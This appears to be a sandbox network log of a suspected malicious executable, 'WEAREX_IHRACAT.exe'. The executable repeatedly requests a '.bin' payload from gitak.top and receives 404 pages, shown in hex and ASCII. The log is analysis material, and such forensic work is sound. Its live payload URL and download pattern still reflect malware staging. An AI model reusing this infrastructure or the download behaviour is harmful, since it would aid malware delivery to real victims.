2024-08-29 10:40:18 UTC	702	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:40:18 UTC	1369	IN	Data Raw: 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 69 6e Data Ascii: -top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}.in
2024-08-29 10:40:18 UTC	902	IN	Data Raw: 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 20 30 20 31 32 2d 35 2e Data Ascii: 715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.
2024-08-29 10:40:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49777	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:40:28 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:40:28 UTC	675	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:40:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 10 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MLabE8DPPtKS9rn%2FTmLbROV6pDDQFvRUk5aR5YeVnvTApARwxz%2F8eMLXqLjU1H2LPDuTGQXlPnvkwrSU8v3J6RPJcu5I7EI7q06db33Ur7Nef7zicxytRomCyHM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babec535dbf2d28-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:40:28 UTC	694	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:40:28 UTC	1369	IN	Data Raw: 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 09 09 7d Data Ascii: margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}
2024-08-29 10:40:28 UTC	910	IN	Data Raw: 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 Data Ascii: 2.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.627
2024-08-29 10:40:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49778	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:40:39 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:40:39 UTC	681	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:40:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 21 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qWXXS2NrwTGdUxdtZPpsZTpq8PP%2Bh4tk92eB%2FEd5X13HxWMvQ%2B6NdI2shR5ctT2z8oU1E4HTXmPeGexsCOi5j4W%2FHdkE0kdFxfXspk4Tk%2Bm1yHedovEr5Pti9IA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babec950eb559f1-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:40:39 UTC	688	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:40:39 UTC	1369	IN	Data Raw: 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e Data Ascii: px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn
2024-08-29 10:40:39 UTC	916	IN	Data Raw: 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 Data Ascii: .353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56
2024-08-29 10:40:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49779	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:40:49 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:40:49 UTC	675	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:40:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 31 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K0fWlft6fUQ4S4m4KlgLPN5GN2AGQUD7AL7zviH7Ky3zISp6ZpHnfTQrQtdHPn3GPqoPei3sBc5gN1WUIihvF5Y%2BpAf7A4Bpcdnl1W%2BRSByVg3wQsjOuM3azODM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babecd6edd32d15-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:40:49 UTC	694	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:40:49 UTC	1369	IN	Data Raw: 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 09 09 7d Data Ascii: margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}
2024-08-29 10:40:49 UTC	910	IN	Data Raw: 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 Data Ascii: 2.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.627
2024-08-29 10:40:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49780	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:41:00 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:41:00 UTC	673	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:41:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 42 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vGiHI3lLvT9Gur%2FzlVH2DRekG2i01nj0wF8JaD0PDHAb3Vx3HLZBTbOoe87ew2QVaaNRadhADqYBGLdObIr7C8zJRuT68CpYshrP3ekInFYY3JTra00i0dP02DA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babed18a9bb082e-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:41:00 UTC	696	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:41:00 UTC	1369	IN	Data Raw: 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 09 09 7d 0a 0a Data Ascii: margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}
2024-08-29 10:41:00 UTC	908	IN	Data Raw: 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 20 30 Data Ascii: 415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0
2024-08-29 10:41:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49781	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:41:10 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:41:10 UTC	673	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:41:10 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 52 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i7gL3sdbOuJzSEcJkT99MXrxL780mMWdYRsl3RrCszGJhf9VuZqfcXQG0z6504sWRm1nsGiSL4fIXJA2sCPjAZe5kDXg2AB3Xa9%2BYi2a0kOCrOsKiLgG0cxQFTo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babed5a69411fd4-IAD alt-svc: h3=":443"; ma=86400
